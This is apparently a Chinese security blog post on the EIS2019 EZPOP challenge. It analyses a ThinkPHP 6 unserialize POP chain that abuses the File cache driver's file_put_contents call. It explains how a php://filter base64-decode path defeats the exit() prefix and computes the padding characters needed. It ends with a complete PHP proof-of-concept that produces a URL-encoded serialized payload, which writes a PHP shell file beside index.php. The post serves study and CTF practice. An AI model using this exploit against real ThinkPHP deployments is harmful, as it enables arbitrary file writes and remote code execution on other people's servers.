前言
第三条POP链是在第二条的基础上找的,它的应用相对于第二条比较有效,EIS2019 EZPOP就涉及到该链。
环境配置
同上文
POP链构造
在第二条链基础上,到set方法(/vendor/topthink/framework/src/think/cache/driver/File.php)中,如果我们不利用serialize
来rce,后面还可以利用file_put_contents
写入文件。
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
clearstatcache();
return true;
}
return false;
}
关注file_put_contents($filename, $data)
中的两个参数:$filename
和$data
是怎么来的。
首先$data
参数的来源在第二条链分析的时候已知,可以通过$this->serialize方法(/vendor/topthink/framework/src/think/cache/Driver.php),用指定的函数名来处理json格式数据,然后拼接到:
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
由于存在exit,因此在后面的file_put_contents($filename, $data)
中的$filename
要使用php://filter
伪协议来绕过。
现在关注$filename
参数,它来源于:
$filename = $this->getCacheKey($name);
跟进getCacheKey方法
public function getCacheKey(string $name): string
{
$name = hash($this->options['hash_type'], $name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DIRECTORY_SEPARATOR . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DIRECTORY_SEPARATOR . $name;
}
return $this->options['path'] . $name . '.php';
}
可以控制option数组的多个键名所对应的键值:
首先通过$this->options['hash_type']
来指定hash函数的加密形式作为文件名$name
然后绕过两个if判断:
$this->options['cache_subdir']=false;
$this->options['prefix']=false;
然后是直接将$this->options['path']
直接拼接到文件名前面。
因此有:
$this->options['path'] = "php://filter/write=convert.base64-decode/resource=";
$this->options['hash_type'] = "md5";
最后拼接成的$filename
就为:
$filename=php://filter/write=convert.base64-decode/resource=md5.php
回到set方法
上面已经把$filename
和$data
分析完了,还要确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。
假设传入的$expire=1
,那么shell前面部分在拼接之后能够被解码的有效字符为:php//000000000001exit
共有21个,要满足base64解码的4字符为1组的规则,因此可以在shell编码之后,在其前面补上3个字符用于逃逸之后的base64解码的影响。
POC代码
在第二条链的基础上增加即可:
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "abcPD9waHAgcGhwaW5mbygpOw==";
//shell是phpinfo();
//在其前面随意补上三个字符
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
由于CacheStore类中的key为1,其md5加密之后得到的值为c4ca4238a0b923820dcc509a6f75849b,因此shell文件就是index.php同目录下的c4ca4238a0b923820dcc509a6f75849b.php文件。